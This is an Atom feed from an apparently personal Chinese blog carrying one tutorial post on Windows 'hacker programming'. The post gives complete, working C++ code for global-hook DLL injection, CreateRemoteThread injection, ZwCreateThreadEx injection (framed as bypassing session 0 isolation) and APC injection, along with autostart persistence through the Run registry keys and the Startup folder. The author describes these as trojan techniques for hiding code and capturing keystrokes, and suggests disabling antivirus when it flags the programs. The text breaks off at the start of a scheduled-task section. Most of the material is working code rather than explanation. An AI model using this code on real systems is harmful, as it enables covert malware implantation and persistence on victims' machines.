<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>ME_dition</title>
  
  
  <link href="http://example.com/atom.xml" rel="self"/>
  
  <link href="http://example.com/"/>
  <updated>2022-12-03T17:18:11.321Z</updated>
  <id>http://example.com/</id>
  
  <author>
    <name>ME_dition</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Windows黑客编程-注入技术 开机自启</title>
    <link href="http://example.com/2022/10/31/Windows%E7%BC%96%E7%A8%8B/"/>
    <id>http://example.com/2022/10/31/Windows%E7%BC%96%E7%A8%8B/</id>
    <published>2022-10-31T15:30:04.971Z</published>
    <updated>2022-12-03T17:18:11.321Z</updated>
    
    <content type="html"><![CDATA[<h1 id="注入技术"><a href="#注入技术" class="headerlink" title="注入技术"></a>注入技术</h1><h2 id="全局钩子注入"><a href="#全局钩子注入" class="headerlink" title="全局钩子注入"></a>全局钩子注入</h2><p>hook,指利用api来提前拦截并处理windows消息的一种技术。如键盘钩子，许多木马都有这东西，监视你的键盘操作。</p><p>全局钩子是系统钩子的一种，当指定的一些消息被系统中任何应用程序所处理时，这个钩子就被调用</p><p>钩子实际上是一个处理消息的程序段，通过系统调用，把它挂入系统。每当特定的消息发出，在没有到达目的窗口前，钩子程序就先捕获该消息，亦即钩子函数先得到控制权。这时钩子函数即可以加工处理（改变）该消息，也可以不作处理而继续传递该消息，</p><p>还可以强制结束消息的传递。对每种类型的钩子由系统来维护一个钩子链，最近安装的钩子放在链的开始，而最先安装的钩子放在最后，也就是后加入的先获得控制权。要实现Win32的系统钩子，必须调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数，</p><p>这个函数的原型是</p><pre><code>HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId)其中，第一个参数是钩子的类型；第二个参数是钩子函数的地址；第三个参数是包含钩子函数的模块句柄；第四个参数指定监视的线程。如果指定确定的线程，即为线程专用钩子；如果指定为空，即为全局钩子。其中，全局钩子函数必须包含在DLL（动态链接库）中，而线程专用钩子还可以包含在可执行文件中。得到控制权的钩子函数在完成对消息的处理后，如果想要该消息继续传递，那么它必须调用另外一个SDK中的API函数CallNextHookEx来传递它。钩子函数也可以通过直接返回TRUE来丢弃该消息，并阻止该消息的传递。</code></pre><h3 id="Dll代码编写"><a href="#Dll代码编写" class="headerlink" title="Dll代码编写"></a>Dll代码编写</h3><pre><code>当dll被链接时保存用于调用函数的句柄// dllmain.cpp : 定义 DLL 应用程序的入口点。#include &quot;pch.h&quot;HMODULE g_hDllModule = NULL;  //作为SetWindowsHookEx调用的实例句柄BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     )&#123;    switch (ul_reason_for_call)    &#123;    case DLL_PROCESS_ATTACH:    &#123;        g_hDllModule = hModule;        break;    &#125;    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    &#125;    return TRUE;&#125;</code></pre><p>然后创建好dll里面需要调用的函数</p><p>为了把钩子的句柄把传递给其他的进程我们可以再dll中创建<strong>共享内存</strong><br><a href="https://blog.csdn.net/zhihu008/article/details/7849622">共享内存使用说明</a></p><p><a href="https://blog.csdn.net/Simon798/article/details/108882579">利用共享内存防多开</a></p><p>下面的代码就是用#pragma data_seg 创建了一个叫 mydata 的数据段，并且用 #pragma comment(linker, “/SECTION:mydata,RWS”) 把其设置为可读写查的权限</p><pre><code>// GlobalHook_Test.cpp : 定义 DLL 应用程序的导出函数。//#include &quot;pch.h&quot;extern HMODULE g_hDllModule;// 共享内存#pragma data_seg(&quot;mydata&quot;)HHOOK g_hHook = NULL;#pragma data_seg()#pragma comment(linker, &quot;/SECTION:mydata,RWS&quot;)// 钩子回调函数LRESULT GetMsgProc(    int code,    WPARAM wParam,    LPARAM lParam)&#123;    return ::CallNextHookEx(g_hHook, code, wParam, lParam);&#125;// 设置全局钩子// GlobalHook_Test.cpp : 定义 DLL 应用程序的导出函数。//#include &quot;pch.h&quot;extern HMODULE g_hDllModule;// 共享内存#pragma data_seg(&quot;mydata&quot;)HHOOK g_hHook = NULL;#pragma data_seg()#pragma comment(linker, &quot;/SECTION:mydata,RWS&quot;)// 钩子回调函数LRESULT GetMsgProc(    int code,    WPARAM wParam,    LPARAM lParam)&#123;    return ::CallNextHookEx(g_hHook, code, wParam, lParam);&#125;// 设置全局钩子BOOL SetGlobalHook()&#123;    g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);    if (NULL == g_hHook)    &#123;        int error = GetLastError();        return FALSE;    &#125;    return TRUE;&#125;// 卸载钩子BOOL UnsetGlobalHook()&#123;    if (g_hHook)    &#123;        ::UnhookWindowsHookEx(g_hHook);    &#125;    return TRUE;&#125;</code></pre><p>最后建立一个导出表，用来调用 GobalHook_Test 中定义的函数</p><pre><code>LIBRARYEXPORTSSetGlobalHookUnsetGlobalHook</code></pre><h3 id="cpp代码编写"><a href="#cpp代码编写" class="headerlink" title="cpp代码编写"></a>cpp代码编写</h3><pre><code>// Test-con.cpp : 此文件包含 &quot;main&quot; 函数。程序执行将在此处开始并结束。//#include &lt;iostream&gt;#include &lt;Windows.h&gt;int main()&#123;    std::cout &lt;&lt; &quot;Hello World!\n&quot;;    typedef BOOL(*typedef_SetGlobalHook)();              //为函数声明一个别名，之后再把dll中相应的函数地址载入该别名    typedef BOOL(*typedef_UnsetGlobalHook)();    HMODULE hDll = NULL;    typedef_SetGlobalHook SetGlobalHook = NULL;    typedef_UnsetGlobalHook UnsetGlobalHook = NULL;    BOOL bRet = FALSE;    do    &#123;        hDll = ::LoadLibrary(&quot;Global_Hook_Test.dll&quot;);        if (NULL == hDll)        &#123;            printf(&quot;LoadLibrary Error[%d]\n&quot;, ::GetLastError());            break;        &#125;        SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, &quot;SetGlobalHook&quot;);        if (NULL == SetGlobalHook)        &#123;            printf(&quot;GetProcAddress Error[%d]\n&quot;, ::GetLastError());            break;        &#125;        bRet = SetGlobalHook();                         //设置钩子        if (bRet)        &#123;            MessageBox(NULL, &quot;SetGlobalHook OK.\n&quot;, &quot;SetGlobalHook OK.\n&quot;, NULL);        &#125;        else        &#123;            MessageBox(NULL, &quot;Error.\n&quot;, &quot;Error.\n&quot;, NULL);        &#125;        system(&quot;pause&quot;);        UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, &quot;UnsetGlobalHook&quot;);         if (NULL == UnsetGlobalHook)        &#123;            printf(&quot;GetProcAddress Error[%d]\n&quot;, ::GetLastError());            break;        &#125;        UnsetGlobalHook();                        //卸载钩子        printf(&quot;UnsetGlobalHook OK.\n&quot;);    &#125; while (FALSE);    system(&quot;pause&quot;);    return 0;&#125;</code></pre><p>这样子就完成全局钩子注入了 :-P)</p><h2 id="远线程注入"><a href="#远线程注入" class="headerlink" title="远线程注入"></a>远线程注入</h2><p>远程线程注入是指一个进程在另一个进程中创建线程的技术。</p><p>远程线程是另一个进程中的线程。</p><p>通过远程线程注入，来使得木马运行在目标进程中，随意访问目标进程的内存空间，最后这个动态链接库里的代码就成为其他进程的一部分来实现了自身的隐藏执行，通过调用“hook”机制，监视用户的输入输出操作，截取有用的资料等操作。</p><p>这种木马的实际执行体是一个dll文件，由于Windows系统自身就包含着大量的dll文件，谁也无法一眼看出哪个dll文件不是系统自带的，所以这种木马的隐蔽性又提高了一级</p><p>远线程注入的关键就在于利用函数 CreatRemoteThread 在其他的进程中创建一个线程</p><p><a href="https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread">CreateRemoteThread</a></p><p>函数原型<br>    HANDLE CreateRemoteThread(<br>      HANDLE hProcess,                          // handle to process<br>      LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD<br>      SIZE_T dwStackSize,                       // initial stack size<br>      LPTHREAD_START_ROUTINE lpStartAddress,    // thread function<br>      LPVOID lpParameter,                       // thread argument<br>      DWORD dwCreationFlags,                    // creation option<br>      LPDWORD lpThreadId                        // thread identifier<br>    );</p><p>参数说明：<br>hProcess<br>[输入] 进程句柄<br>lpThreadAttributes<br>[输入] 线程安全描述字，指向SECURITY_ATTRIBUTES结构的指针<br>dwStackSize<br>[输入] 线程栈大小，以字节表示<br>lpStartAddress<br>[输入] 一个LPTHREAD_START_ROUTINE类型的指针，指向在远程进程中执行的函数地址<br>lpParameter<br>[输入] 传入参数<br>dwCreationFlags<br>[输入] 创建线程的其它标志</p><p>lpThreadId<br>[输出] 线程身份标志，如果为NULL,则不返回</p><p>返回值<br>成功返回新线程句柄，失败返回NULL，并且可调用GetLastError获得错误值。</p><p>这里我们主要关注这几个参数</p><pre><code>hProcess        我们需要获取的进程句柄lpStartAddress  指向由线程执行的 LPTHREAD_START_ROUTINE 类型的应用程序定义函数的指针，表示远程进程中线程的起始地址。 函数必须存在于远程进程中。lpParameter     指向要传递给线程函数的变量的指针。</code></pre><p>虽然windows有asrl的安全机制，但是还是有一些系统dll的加载基址不变比如 kernel32.dll 所以我们就用这个函数作为远线程函数的基地址</p><p>至于dll路径字符串可以先在宿主进程中申请一块内存，在用 WriteProcessMemory 将指定的dll路径写入目标进程中</p><pre><code>#include &quot;InjectDll.h&quot;#include &quot;../DllTest/pch.h&quot;void ShowError(char* pszText)&#123;    char szErr[MAX_PATH] = &#123; 0 &#125;;    ::wsprintf(szErr, &quot;%s Error[%d]\n&quot;, pszText, ::GetLastError());    ::MessageBox(NULL, szErr, &quot;ERROR&quot;, MB_OK);&#125;// 使用 CreateRemoteThread 实现远线程注入BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char* pszDllFileName)&#123;    HANDLE hProcess = NULL;    SIZE_T dwSize = 0;    LPVOID pDllAddr = NULL;    FARPROC pFuncProcAddr = NULL;    // 打开注入进程，获取进程句柄    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);    if (NULL == hProcess)    &#123;        int error = GetLastError();        ShowError(&quot;OpenProcess&quot;);        return FALSE;    &#125;    // 在注入进程中申请内存    dwSize = 1 + ::lstrlen(pszDllFileName);    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);    if (NULL == pDllAddr)    &#123;        ShowError(&quot;VirtualAllocEx&quot;);        return FALSE;    &#125;    // 向申请的内存中写入数据    if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))    &#123;        ShowError(&quot;WriteProcessMemory&quot;);        return FALSE;    &#125;    // 获取LoadLibraryA函数地址    pFuncProcAddr = ::GetProcAddress(::GetModuleHandle(&quot;kernel32.dll&quot;), &quot;LoadLibraryA&quot;);    if (NULL == pFuncProcAddr)    &#123;        ShowError(&quot;GetProcAddress_LoadLibraryA&quot;);        return FALSE;    &#125;    // 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入    HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);    if (NULL == hRemoteThread)    &#123;        ShowError(&quot;CreateRemoteThread&quot;);        return FALSE;    &#125;    // 关闭句柄    ::CloseHandle(hProcess);    return TRUE;&#125;</code></pre><p>注入成功</p><p><img src="https://s2.loli.net/2022/11/01/bWNuhakZBjcpKAx.png"></p><h2 id="突破session-0-隔离会话机制的远线程注入"><a href="#突破session-0-隔离会话机制的远线程注入" class="headerlink" title="突破session 0 隔离会话机制的远线程注入"></a>突破session 0 隔离会话机制的远线程注入</h2><p>session 0 隔离会话机制概述：在创建一个进程之后不会马上就运行，而是先挂起检查是否在同一会话层再决定是否执行。</p><p>在内核6.0引入会话隔离机制后我们普通的远线程注入无法行得通，于是我们要调用更加底层的函数来帮我们实现隔离突破</p><p>与传统的CreateRemoteThread函数实现的远线程注入DLL的唯一区别在于，突破SESSION 0远线程注 入技术是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来创建远线程，而具体的远线 程注入原理是相同的。</p><p>因为 ZwCreateThreadEx 在ntdll.dll中没有声明所以我们需要使用GetProcessAddress 从ntdll.dll中获取该函数的导出地址</p><p>我们只需让第七个参数为0，就可以让其绕过session 0 隔离会话机制 在创建进程之后直接运行了</p><hr><p>在64和32位下ZwCreateThreadEx的声明也不同</p><pre><code>#ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        ULONG CreateThreadFlags,        SIZE_T ZeroBits,        SIZE_T StackSize,        SIZE_T MaximumStackSize,        LPVOID pUnkown);#else    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        BOOL CreateSuspended,        DWORD dwStackSize,        DWORD dw1,        DWORD dw2,        LPVOID pUnkown);#endif</code></pre><hr><pre><code>#include &quot;Dll/pch.h&quot;#include &quot;InjectDll.h&quot;void ShowError(char* pszText)&#123;    char szErr[MAX_PATH] = &#123; 0 &#125;;    ::wsprintf(szErr, &quot;%s Error[%d]\n&quot;, pszText, ::GetLastError());    ::MessageBox(NULL, szErr, &quot;ERROR&quot;, MB_OK);&#125;// 使用 ZwCreateThreadEx 实现远线程注入BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)&#123;    HANDLE hProcess = NULL;    SIZE_T dwSize = 0;    LPVOID pDllAddr = NULL;    FARPROC pFuncProcAddr = NULL;    HANDLE hRemoteThread = NULL;    DWORD dwStatus = 0;    // 打开注入进程，获取进程句柄    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);    if (NULL == hProcess)    &#123;        ShowError(&quot;OpenProcess&quot;);        return FALSE;    &#125;    // 在注入进程中申请内存    dwSize = 1 + ::lstrlen(pszDllFileName);    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);    if (NULL == pDllAddr)    &#123;        ShowError(&quot;VirtualAllocEx&quot;);        return FALSE;    &#125;    // 向申请的内存中写入数据    if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))    &#123;        ShowError(&quot;WriteProcessMemory&quot;);        return FALSE;    &#125;    // 加载 ntdll.dll    HMODULE hNtdllDll = ::LoadLibrary(&quot;ntdll.dll&quot;);    if (NULL == hNtdllDll)    &#123;        ShowError(&quot;LoadLirbary&quot;);        return FALSE;    &#125;    // 获取LoadLibraryA函数地址    pFuncProcAddr = ::GetProcAddress(::GetModuleHandle(&quot;Kernel32.dll&quot;), &quot;LoadLibraryA&quot;);    if (NULL == pFuncProcAddr)    &#123;        ShowError(&quot;GetProcAddress_LoadLibraryA&quot;);        return FALSE;    &#125;    // 获取ZwCreateThread函数地址#ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        ULONG CreateThreadFlags,        SIZE_T ZeroBits,        SIZE_T StackSize,        SIZE_T MaximumStackSize,        LPVOID pUnkown);#else    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        BOOL CreateSuspended,        DWORD dwStackSize,        DWORD dw1,        DWORD dw2,        LPVOID pUnkown);#endif    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, &quot;ZwCreateThreadEx&quot;);    if (NULL == ZwCreateThreadEx)    &#123;        ShowError(&quot;GetProcAddress_ZwCreateThread&quot;);        return FALSE;    &#125;    // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入    dwStatus = ZwCreateThreadEx(&amp;hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);    if (NULL == hRemoteThread)    &#123;        ShowError(&quot;ZwCreateThreadEx&quot;);        return FALSE;    &#125;    // 关闭句柄    ::CloseHandle(hProcess);    ::FreeLibrary(hNtdllDll);    return TRUE;&#125;</code></pre><h2 id="APC注入"><a href="#APC注入" class="headerlink" title="APC注入"></a>APC注入</h2><p>用QueueUserAPC 函数把一个APC函数压入APC队列，当线程处于可通知状态下就会被调用。</p><p>我们利用QueueUserAPC 遍历线程, 插入APC 提供开始</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc">QueueUserAPC</a></p><pre><code>DWORD QueueUserAPC(  [in] PAPCFUNC  pfnAPC,  [in] HANDLE    hThread,  [in] ULONG_PTR dwData);参数[in] pfnAPC指向应用程序提供的 APC 函数的指针，该函数在指定线程执行可警报的等待操作时调用。 及表示函数执行地址。[in] hThread线程的句柄。句柄必须具有THREAD_SET_CONTEXT访问权限。[in] dwData传递给pfnAPC参数指向的 APC 函数的单个值。及传递给执行函数的参数。</code></pre><p>如果第一个参数是LoadLibraryA的函数地址，而第三个参数是dll路径，那么就会加载该dll，完成注入。</p><pre><code>#include &quot;../pch.h&quot;#include &quot;h_ApcInject.h&quot;void ShowError(char* pszText)&#123;    char szErr[MAX_PATH] = &#123; 0 &#125;;    ::wsprintf(szErr, &quot;%s Error[%d]\n&quot;, pszText);    ::MessageBox(NULL, szErr, &quot;ERROR&quot;, MB_OK | MB_ICONERROR);&#125;// 根据进程名称获取PIDDWORD GetProcessIdByProcessName(char* pszProcessName)&#123;    DWORD dwProcessId = 0;    PROCESSENTRY32 pe32 = &#123; 0 &#125;;    HANDLE hSnapshot = NULL;    BOOL bRet = FALSE;    ::RtlZeroMemory(&amp;pe32, sizeof(pe32));    pe32.dwSize = sizeof(pe32);    // 获取进程快照    hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    if (NULL == hSnapshot)    &#123;        ShowError(&quot;CreateToolhelp32Snapshot&quot;);        return dwProcessId;    &#125;    // 获取第一条进程快照信息    bRet = ::Process32First(hSnapshot, &amp;pe32);    while (bRet)    &#123;        // 获取快照信息        if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))        &#123;            dwProcessId = pe32.th32ProcessID;            break;        &#125;        // 遍历下一个进程快照信息        bRet = ::Process32Next(hSnapshot, &amp;pe32);    &#125;    return dwProcessId;&#125;// 根据PID获取所有的相应线程IDBOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)&#123;    DWORD* pThreadId = NULL;    DWORD dwThreadIdLength = 0;    DWORD dwBufferLength = 1000;    THREADENTRY32 te32 = &#123; 0 &#125;;    HANDLE hSnapshot = NULL;    BOOL bRet = TRUE;    do    &#123;        // 申请内存        pThreadId = new DWORD[dwBufferLength];        if (NULL == pThreadId)        &#123;            ShowError(&quot;new&quot;);            bRet = FALSE;            break;        &#125;        ::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));        // 获取线程快照        ::RtlZeroMemory(&amp;te32, sizeof(te32));        te32.dwSize = sizeof(te32);        hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);        if (NULL == hSnapshot)        &#123;            ShowError(&quot;CreateToolhelp32Snapshot&quot;);            bRet = FALSE;            break;        &#125;        // 获取第一条线程快照信息        bRet = ::Thread32First(hSnapshot, &amp;te32);        while (bRet)        &#123;            // 获取进程对应的线程ID            if (te32.th32OwnerProcessID == dwProcessId)            &#123;                pThreadId[dwThreadIdLength] = te32.th32ThreadID;                dwThreadIdLength++;            &#125;            // 遍历下一个线程快照信息            bRet = ::Thread32Next(hSnapshot, &amp;te32);        &#125;        // 返回        *ppThreadId = pThreadId;        *pdwThreadIdLength = dwThreadIdLength;        bRet = TRUE;    &#125; while (FALSE);    if (FALSE == bRet)    &#123;        if (pThreadId)        &#123;            delete[]pThreadId;            pThreadId = NULL;        &#125;    &#125;    return bRet;&#125;// APC注入BOOL ApcInjectDll(char* pszProcessName, char* pszDllName)&#123;    BOOL bRet = FALSE;    DWORD dwProcessId = 0;    DWORD* pThreadId = NULL;    DWORD dwThreadIdLength = 0;    HANDLE hProcess = NULL, hThread = NULL;    PVOID pBaseAddress = NULL;    PVOID pLoadLibraryAFunc = NULL;    SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);    DWORD i = 0;    do    &#123;        // 根据进程名称获取PID        dwProcessId = GetProcessIdByProcessName(pszProcessName);        if (0 &gt;= dwProcessId)        &#123;            bRet = FALSE;            break;        &#125;        // 根据PID获取所有的相应线程ID        bRet = GetAllThreadIdByProcessId(dwProcessId, &amp;pThreadId, &amp;dwThreadIdLength);        if (FALSE == bRet)        &#123;            bRet = FALSE;            break;        &#125;        // 打开注入进程        hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);        if (NULL == hProcess)        &#123;            ShowError(&quot;OpenProcess&quot;);            bRet = FALSE;            break;        &#125;        // 在注入进程空间申请内存        pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);        if (NULL == pBaseAddress)        &#123;            ShowError(&quot;VirtualAllocEx&quot;);            bRet = FALSE;            break;        &#125;        // 向申请的空间中写入DLL路径数据         ::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &amp;dwRet);        if (dwRet != dwDllPathLen)        &#123;            ShowError(&quot;WriteProcessMemory&quot;);            bRet = FALSE;            break;        &#125;        // 获取 LoadLibrary 地址        pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle(&quot;kernel32.dll&quot;), &quot;LoadLibraryA&quot;);        if (NULL == pLoadLibraryAFunc)        &#123;            ShowError(&quot;GetProcessAddress&quot;);            bRet = FALSE;            break;        &#125;        // 遍历线程, 插入APC        for (i = 0; i &lt; dwThreadIdLength; i++)        &#123;            // 打开线程            hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);            if (hThread)            &#123;                // 插入APC                ::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);                // 关闭线程句柄                ::CloseHandle(hThread);                hThread = NULL;            &#125;        &#125;        bRet = TRUE;    &#125; while (FALSE);    // 释放内存    if (hProcess)    &#123;        ::CloseHandle(hProcess);        hProcess = NULL;    &#125;    if (pThreadId)    &#123;        delete[]pThreadId;        pThreadId = NULL;    &#125;    return bRet;&#125;</code></pre><p>main如下：</p><pre><code>// ApcInject.cpp : 此文件包含 &quot;main&quot; 函数。程序执行将在此处开始并结束。//#include &lt;iostream&gt;#include &quot;../pch.h&quot;#include &quot;h_ApcInject.h&quot;#include &lt;tchar.h&gt;int _tmain(int argc, _TCHAR* argv[])&#123;    BOOL bRet = FALSE;    // APC注入#ifdef _WIN64    bRet = ApcInjectDll(&quot;animation.exe&quot;, &quot;G:\\Desktop\\WindowsProgram\\Win_hacker\\Dll_apc\\Debug\\Dll_apc.dll&quot;);#else    bRet = ApcInjectDll(&quot;animation.exe&quot;, &quot;G:\\Desktop\\WindowsProgram\\Win_hacker\\Dll_apc\\Debug\\Dll_apc.dll&quot;);#endif    if (bRet)    &#123;        printf(&quot;APC Inject OK.\n&quot;);    &#125;    else    &#123;        printf(&quot;APC Inject ERROR.\n&quot;);    &#125;    system(&quot;pause&quot;);    return 0;&#125;</code></pre><p>注入成功，如下</p><p><img src="https://s2.loli.net/2022/11/01/gB6fqIbAYeT4Cui.png"></p><p><img src="https://s2.loli.net/2022/11/01/TxYdQMI9jCtwakg.png"></p><h1 id="开机启动"><a href="#开机启动" class="headerlink" title="开机启动"></a>开机启动</h1><h2 id="修改注册表启动"><a href="#修改注册表启动" class="headerlink" title="修改注册表启动"></a>修改注册表启动</h2><p>主要用两个api函数。</p><p>RegOpenKeyEx   打开注册表键</p><p>RegSetValueEx  修改注册表值，实现开机自启</p><pre><code>BOOL Reg_CurrentUser(char *lpszFileName, char *lpszValueName)&#123;    // 默认权限    HKEY hKey;    // 打开注册表键    if (ERROR_SUCCESS != ::RegOpenKeyEx(HKEY_CURRENT_USER, &quot;Software\\Microsoft\\Windows\\CurrentVersion\\Run&quot;, 0, KEY_WRITE, &amp;hKey))    &#123;        ShowError(&quot;RegOpenKeyEx&quot;);        return FALSE;    &#125;    // 修改注册表值，实现开机自启    if (ERROR_SUCCESS != ::RegSetValueEx(hKey, lpszValueName, 0, REG_SZ, (BYTE *)lpszFileName, (1 + ::lstrlen(lpszFileName)))) // lpszValueName 是 目标程序所在目录    &#123;        ::RegCloseKey(hKey);        ShowError(&quot;RegSetValueEx&quot;);        return FALSE;    &#125;    // 关闭注册表键    ::RegCloseKey(hKey);    return TRUE;&#125;BOOL Reg_LocalMachine(char *lpszFileName, char *lpszValueName)&#123;    // 管理员权限    HKEY hKey;    // 打开注册表键    if (ERROR_SUCCESS != ::RegOpenKeyEx(HKEY_LOCAL_MACHINE, &quot;Software\\Microsoft\\Windows\\CurrentVersion\\Run&quot;, 0, KEY_WRITE, &amp;hKey))    &#123;        ShowError(&quot;RegOpenKeyEx&quot;);        return FALSE;    &#125;    // 修改注册表值，实现开机自启    if (ERROR_SUCCESS != ::RegSetValueEx(hKey, lpszValueName, 0, REG_SZ, (BYTE *)lpszFileName, (1 + ::lstrlen(lpszFileName))))    &#123;        ::RegCloseKey(hKey);        ShowError(&quot;RegSetValueEx&quot;);        return FALSE;    &#125;    // 关闭注册表键    ::RegCloseKey(hKey);    return TRUE;&#125;</code></pre><hr><pre><code>// SlefStarting.cpp : 此文件包含 &quot;main&quot; 函数。程序执行将在此处开始并结束。//#include &lt;iostream&gt;#include &quot;AutoRun_Reg.h&quot;#include &quot;pch.h&quot;int main()&#123;    // 第一种方式修改注册表:HKEY_CURRENT_USER    if (FALSE == Reg_CurrentUser(&quot;C:\\Users\\DemonGan\\Desktop\\520_1.exe&quot;, &quot;520&quot;))    &#123;        printf(&quot;Reg_CurrentUser Error!\n&quot;);    &#125;    // 第二种方式修改注册表:HKEY_LOCAL_MACHINE    if (FALSE == Reg_LocalMachine(&quot;C:\\Users\\DemonGan\\Desktop\\520_2.exe&quot;, &quot;520&quot;))    &#123;        printf(&quot;Reg_LocalMachine Error!\n&quot;);    &#125;    printf(&quot;Reg OK.\n&quot;);    system(&quot;pause&quot;);    return 0;&#125;</code></pre><p>执行后如图所示，在注册表中写入了</p><p>计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</p><p><img src="https://s2.loli.net/2022/12/02/vlOj4gqpVtxKcD8.png"></p><h2 id="快速启动目录"><a href="#快速启动目录" class="headerlink" title="快速启动目录"></a>快速启动目录</h2><p>先用 SHGetSpecialFolderPath 获取快速启动目录地址，然后将需要启动的程序的快捷方式拷贝到快速目录即可。</p><pre><code>// QuickStarting.cpp : 此文件包含 &quot;main&quot; 函数。程序执行将在此处开始并结束。//#include &lt;iostream&gt;#include &quot;pch.h&quot;#include &lt;Windows.h&gt;#include &lt;Shlobj.h&gt;#pragma comment(lib, &quot;shell32.lib&quot;)BOOL AutoRun_Startup(char* lpszSrcFilePath, char* lpszDestFileName)&#123;    BOOL bRet = FALSE;    char szStartupPath[MAX_PATH] = &#123; 0 &#125;;    char szDestFilePath[MAX_PATH] = &#123; 0 &#125;;    // 获取 快速启动目录 路径    bRet = ::SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);    printf(&quot;szStartupPath=%s\n&quot;, szStartupPath);    if (FALSE == bRet)    &#123;        return FALSE;    &#125;    // 构造拷贝的 目的文件路径    ::wsprintf(szDestFilePath, &quot;%s\\%s&quot;, szStartupPath, lpszDestFileName);    // 拷贝文件到快速启动目录下    bRet = ::CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);    if (FALSE == bRet)    &#123;        return FALSE;    &#125;    return TRUE;&#125;int main()&#123;    if (FALSE == AutoRun_Startup(&quot;C:\\Users\\DemonGan\\Desktop\\520.exe&quot;, &quot;520.exe&quot;))    &#123;        printf(&quot;Startup Error!\n&quot;);    &#125;    printf(&quot;Startup OK!\n&quot;);    system(&quot;pause&quot;);    return 0;&#125;</code></pre><p>杀毒软件可能会误触，关闭即可。</p><p><img src="https://s2.loli.net/2022/12/03/xQoPRKOkqlATBVc.png"></p><p><a href="https://blog.csdn.net/the_sea1/article/details/112387506">SHGetSpecialFolderPath的用法</a></p><h2 id="计划任务启动"><a href="#计划任务启动" class="headerlink" title="计划任务启动"></a>计划任务启动</h2><p>计划任务会调用COM组件，虽然对于COM组件不太了解，但是可以利用其中的一些类来创建计划任务。</p><ol><li><p>初始化操作<br>用CoInitialize函数初始化COM接口。</p></li><li><p>调用CoCreateInstance 函数创建任务服务对象，ITaskService ,并将其链接到任务服务上。 </p></li><li><p>从ITaskService对象中获取 Root Task Folder 的 指针对象 ITaskFolder,它指向的是新的注册任务。</p></li></ol><p>创建计划任务依然需要管理员权限。</p><p>// TaskPlanning.cpp : 此文件包含 “main” 函数。程序执行将在此处开始并结束。<br>    